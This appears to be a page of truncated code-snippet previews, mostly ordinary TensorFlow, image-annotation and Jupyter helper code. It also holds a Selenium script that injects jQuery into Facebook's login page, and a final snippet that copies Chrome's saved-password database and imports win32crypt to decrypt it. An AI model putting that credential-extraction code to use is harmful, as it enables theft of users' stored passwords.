MITsVision

import numpy as np

#pure python implementation of convolutions of 2d arrays
def convolve2D(a1,a2,s):
    '''
        Calculating convolution for 2d array
        Asumming all inputs a1,a2 nd-arrays of square shape (n*n)
        Return:
            convolution of inputs, nd-array
        Input:

MITsVision

import tensorflow as tf
#Detect TPUs, GPUs
# Detect hardware, return appropriate distribution strategy
try:
    # TPU detection. No parameters necessary if TPU_NAME environment variable is
    # set: this is always the case on Kaggle.
    tpu = tf.distribute.cluster_resolver.TPUClusterResolver()
    print('Running on TPU ', tpu.master())
except ValueError:
    tpu = None

MITsVision

import tensorflow as tf
train_record = 'tf-records/coco_train.record-00000-of-00001'
for i, record in enumerate(tf.python_io.tf_record_iterator(train_record)):
    #print("######################### Record", i, "#########################")
    example = tf.train.Example()
    example.ParseFromString(record)
    feature = example.features.feature
    imgHeight = feature['image/height'].int64_list.value[0]
    imgWidth = feature['image/width'].int64_list.value[0]
    imgFileName = feature['image/filename'].bytes_list .value[0].decode('utf-8')

MITsVision

import tensorflow as tf
train_record = 'tf-records/coco_train.record-00000-of-00001'

def read_and_decode(filename_queue):
    reader = tf.TFRecordReader()
    _, serialized_example = reader.read(filename_queue)
    features = tf.parse_single_example(
        serialized_example,
        # Defaults are not specified since both keys are required.
        features={

MITsVision

<annotation>
  <folder>C:\Users\xxx</folder>
  <filename>1549535517972.png</filename>
  <source>
    <database>AutoANN</database>
  </source>
  <size>
    <width>800</width>
    <height>450</height>
    <depth>3</depth>

MITsVision

from IPython.display import HTML as html_print

def cstr(s, color='black'):
    return "<text style=color:{}>{}</text>".format(color, s)

left, word, right = 'left print' , 'center print' , 'right print'
html_print(cstr(' '.join([left, cstr(word, color='green'), right]), color='black') )

MITsVision

##### add at the first cell of the jupyter notebook
##### call using hide_toggle() functin
from IPython.display import HTML
import random

def hide_toggle(for_next=False):
    this_cell = """$('div.cell.code_cell.rendered.selected')"""
    next_cell = this_cell + '.next()'

    toggle_text = 'Toggle show/hide'  # text shown on toggle link

MITsVision

from selenium import webdriver
driver = webdriver.Firefox()
driver.get('https://www.facebook.com/')

with open('jquery-1.9.1.min.js', 'r') as jquery_js: 
    jquery = jquery_js.read() #read the jquery from a file
    driver.execute_script(jquery) #active the jquery lib
    driver.execute_script("$('#email').text('anhld')")

MITsVision

import os
import sqlite3
import win32crypt
import sys
import shutil

file_path= "C:/Users/User_name/AppData/Local/Google/Chrome/User Data/Profile 3/Login Data"
shutil.copy(file_path, "path_to_current_directory")

# Connect to the Database